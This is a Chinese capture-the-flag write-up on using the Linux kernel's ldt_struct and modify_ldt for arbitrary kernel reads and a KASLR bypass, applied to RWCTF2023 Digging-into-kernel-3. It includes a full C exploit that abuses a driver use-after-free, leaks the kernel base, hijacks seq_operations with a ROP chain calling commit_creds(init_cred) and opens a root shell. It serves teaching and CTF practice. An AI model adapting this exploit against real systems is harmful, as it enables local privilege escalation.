• 【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3


    ldt_struct 结构体

    对于该结构体知识请自行谷歌学习,这里仅仅讲利用

    ldt 即局部段描述符表Local Descriptor Table)该结构体如下,结构体的大小为 0x10:

    1. /*
    2. * ldt_structs can be allocated, used, and freed, but they are never
    3. * modified while live.
    4. */
    5. struct ldt_struct {
    6. /*
    7. * Xen requires page-aligned LDTs with special permissions. This is
    8. * needed to prevent us from installing evil descriptors such as
    9. * call gates. On native, we could merge the ldt_struct and LDT
    10. * allocations, but it's not worth trying to optimize.
    11. */
    12. struct desc_struct *entries;
    13. unsigned int nr_entries;
    14. /*
    15. * If PTI is in use, then the entries array is not mapped while we're
    16. * in user mode. The whole array will be aliased at the addressed
    17. * given by ldt_slot_va(slot). We use two slots so that we can allocate
    18. * and map, and enable a new LDT without invalidating the mapping
    19. * of an older, still-in-use LDT.
    20. *
    21. * slot will be -1 if this LDT doesn't have an alias mapping.
    22. */
    23. int slot;
    24. };

    其中 entries 指向一个 desc_struct 数组,nr_entries 标识 desc_struct 数组中元素的个数

    1. /* 8 byte segment descriptor */
    2. struct desc_struct {
    3. u16 limit0;
    4. u16 base0;
    5. u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
    6. u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
    7. } __attribute__((packed));

    modify_ldt 系统调用

    Linux 提供给我们一个叫 modify_ldt 的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT:

    1. SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
    2. unsigned long , bytecount)
    3. {
    4. int ret = -ENOSYS;
    5. switch (func) {
    6. case 0:
    7. ret = read_ldt(ptr, bytecount);
    8. break;
    9. case 1:
    10. ret = write_ldt(ptr, bytecount, 1);
    11. break;
    12. case 2:
    13. ret = read_default_ldt(ptr, bytecount);
    14. break;
    15. case 0x11:
    16. ret = write_ldt(ptr, bytecount, 0);
    17. break;
    18. }
    19. /*
    20. * The SYSCALL_DEFINE() macros give us an 'unsigned long'
    21. * return type, but tht ABI for sys_modify_ldt() expects
    22. * 'int'. This cast gives us an int-sized value in %rax
    23. * for the return code. The 'unsigned' is necessary so
    24. * the compiler does not try to sign-extend the negative
    25. * return codes into the high half of the register when
    26. * taking the value from int->long.
    27. */
    28. return (unsigned int)ret;
    29. }

    我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc 结构体的指针:

    1. struct user_desc {
    2. unsigned int entry_number;
    3. unsigned int base_addr;
    4. unsigned int limit;
    5. unsigned int seg_32bit:1;
    6. unsigned int contents:2;
    7. unsigned int read_exec_only:1;
    8. unsigned int limit_in_pages:1;
    9. unsigned int seg_not_present:1;
    10. unsigned int useable:1;
    11. #ifdef __x86_64__
    12. /*
    13. * Because this bit is not present in 32-bit user code, user
    14. * programs can pass uninitialized values here. Therefore, in
    15. * any context in which a user_desc comes from a 32-bit program,
    16. * the kernel must act as though lm == 0, regardless of the
    17. * actual value.
    18. */
    19. unsigned int lm:1;
    20. #endif
    21. };

     read_ldt():内核任意地址读

    可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区,所以如果我们能够控制 ldt_struct 结构体,那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。

     write_ldt():分配新的 ldt_struct 结构体

    该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体:

    alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体,所以这就给了我们控制 ldt_struct 结构体的机会。

    ldt_struct 泄漏内核基地址

    我们可以先泄漏直接映射区的位置,然后在直接映射区上有一个 secondary_startup_64 函数指针,然后我们就可以直接读直接映射区去泄漏内核基地址。

    下面直接来自【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog

    I. 爆破 page_offset_base 与泄露内核 .text 段地址

    前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ,但在开启 KASLR 的情况下,我们并不知道该从哪里读取什么数据

    这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值

    但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy 的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic,因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址

    II. 利用 fork 完成 hardened usercopy 下的任意地址读

    当内核开启了 hardened usercopy 时,我们不能够直接搜索整个线性映射区域,这因为这有可能触发 hardened usercopy 的检查

     ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:

    sys_fork()
            kernel_clone()
                    copy_process()
                                   copy_mm()
                                            dup_mm()
                                                    dup_mmap()
                                                            arch_dup_mmap()
                                                                    ldt_dup_context()

    ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中,注意到如下逻辑:

    1. /*
    2. * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
    3. * the new task is not running, so nothing can be installed.
    4. */
    5. int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
    6. {
    7. //...
    8. memcpy(new_ldt->entries, old_mm->context.ldt->entries,
    9. new_ldt->nr_entries * LDT_ENTRY_SIZE);
    10. //...
    11. }

     在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可

    RWCTF2023-Digging-into-kernel-3

    开启了 smap、smep、kaslr 和 kpti 保护,驱动程序很简单,就一个 ioctl 函数

    然后有一个贴脸的任意大小UAF,并且有写堆块的功能。 

    主要的问题就是这里没有读堆块的功能,所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的,但是最后失败了(我感觉应该是可以的),我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了,由于我对 copy_from_user 的一些特性不是很明白,就没有深究。

    最后选择利用 ldt_struct 去泄漏内核基地址,然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护,所以直接劫持 seq_operations,然后利用 pt_regs 一套带走了。

    我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址,然后通过 pipe_buffer 劫持的程序执行流,这个方法到时候在看看吧,我感觉 pipe_buffer 这个结构体很重要,后面好好学习一下。

    然后这题也没有开启一些 slab 保护,所以也不需要堆喷,exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #define SECONDARY_STARTUP_64 0xffffffff81000060
    29. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    30. size_t init_cred = 0xffffffff82850580;
    31. size_t commit_creds = 0xffffffff81095c30;
    32. size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
    33. size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
    34. struct node {
    35. int idx;
    36. int size;
    37. char* ptr;
    38. };
    39. void err_exit(char *msg)
    40. {
    41. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    42. sleep(5);
    43. exit(EXIT_FAILURE);
    44. }
    45. void info(char *msg)
    46. {
    47. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    48. }
    49. void hexx(char *msg, size_t value)
    50. {
    51. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    52. }
    53. void binary_dump(char *desc, void *addr, int len) {
    54. uint64_t *buf64 = (uint64_t *) addr;
    55. uint8_t *buf8 = (uint8_t *) addr;
    56. if (desc != NULL) {
    57. printf("\033[33m[*] %s:\n\033[0m", desc);
    58. }
    59. for (int i = 0; i < len / 8; i += 4) {
    60. printf(" %04x", i * 8);
    61. for (int j = 0; j < 4; j++) {
    62. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    63. }
    64. printf(" ");
    65. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    66. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    67. }
    68. puts("");
    69. }
    70. }
    71. /* bind the process to specific core */
    72. void bind_core(int core)
    73. {
    74. cpu_set_t cpu_set;
    75. CPU_ZERO(&cpu_set);
    76. CPU_SET(core, &cpu_set);
    77. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    78. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    79. }
    80. int rw_fd;
    81. int seq_fd;
    82. void add(int idx, int size, char* ptr)
    83. {
    84. struct node n = { .idx = idx, .size = size, .ptr = ptr };
    85. ioctl(rw_fd, 0xDEADBEEF, &n);
    86. // if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    87. }
    88. void dele(int idx)
    89. {
    90. struct node n = { .idx = idx };
    91. ioctl(rw_fd, 0xC0DECAFE, &n);
    92. }
    93. int main(int argc, char** argv, char** env)
    94. {
    95. bind_core(0);
    96. int qid;
    97. char buf[0x10] = { 0 };
    98. rw_fd = open("/dev/rwctf", O_RDWR);
    99. if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    100. add(0, 0x10, buf);
    101. dele(0);
    102. size_t page_offset_base = 0xffff888000000000;
    103. size_t temp;
    104. int res;
    105. int pipe_fd[2];
    106. size_t kernel_offset;
    107. size_t* ptr;
    108. size_t search_addr;
    109. struct user_desc desc = { 0 };
    110. desc.base_addr = 0xff0000;
    111. desc.entry_number = 0x8000 / 8;
    112. syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
    113. while (1)
    114. {
    115. dele(0);
    116. *(size_t*)buf = page_offset_base;
    117. *(size_t*)(buf+8) = 0x8000 / 8;
    118. add(0, 0x10, buf);
    119. res = syscall(SYS_modify_ldt, 0, &temp, 8);
    120. if (res > 0) break;
    121. else if (res == 0) err_exit("no mm->context.ldt");
    122. page_offset_base += 0x4000000;
    123. }
    124. hexx("page_offset_base", page_offset_base);
    125. pipe(pipe_fd);
    126. ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
    127. search_addr = page_offset_base;
    128. kernel_offset = -1;
    129. while(1)
    130. {
    131. dele(0);
    132. *(size_t*)buf = search_addr;
    133. *(size_t*)(buf+8) = 0x4000 / 8;
    134. add(0, 0x10, buf);
    135. res = fork();
    136. if (!res)
    137. {
    138. syscall(SYS_modify_ldt, 0, ptr, 0x4000);
    139. for (int i = 0; i < 0x800; i++)
    140. if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
    141. kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
    142. write(pipe_fd[1], &kernel_offset, 8);
    143. exit(0);
    144. }
    145. wait(NULL);
    146. read(pipe_fd[0], &kernel_offset, 8);
    147. if (kernel_offset != -1) break;
    148. search_addr += 0x4000;
    149. }
    150. hexx("kernel_offset", kernel_offset);
    151. puts("Hijack the Program Execution Flow");
    152. pop_rdi += kernel_offset;
    153. init_cred += kernel_offset;
    154. commit_creds += kernel_offset;
    155. swapgs_kpti += kernel_offset;
    156. add_rsp_xx += kernel_offset;
    157. hexx("add_rsp_xx", add_rsp_xx);
    158. add(0, 0x20, buf);
    159. dele(0);
    160. seq_fd = open("/proc/self/stat", O_RDONLY);
    161. dele(0);
    162. add(0, 0x20, &add_rsp_xx);
    163. asm(
    164. "mov r15, pop_rdi;"
    165. "mov r14, init_cred;"
    166. "mov r13, commit_creds;"
    167. "mov r12, swapgs_kpti;"
    168. );
    169. read(seq_fd, buf, 8);
    170. hexx("UID", getuid());
    171. system("/bin/sh");
    172. return 0;
    173. }

    最后可以直接提权:

  • 相关阅读:
    一文搞懂基于透视变换的车道线拟合
    Fastjson JdbcRowSetImpl利用链学习
    排列数字(深度优先搜索) C++实现
    java计算机毕业设计校园共享单车系统源代码+系统+数据库+lw文档
    Cyanine 5 monosuccinimidyl ester,氰胺5-单琥珀酰亚胺酯,花菁染料CY5标记单琥珀酰亚胺酯
    20230912在ubuntu18.04下使用pigz来提高tar命令压缩解压缩的速度
    计算机毕业设计django基于协同过滤的旅游推荐系统(源码+系统+mysql数据库+Lw文档)
    JavaScript代码执行
    C++11的shared_ptr共享的智能指针
    SparkSQL项目实战
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133561075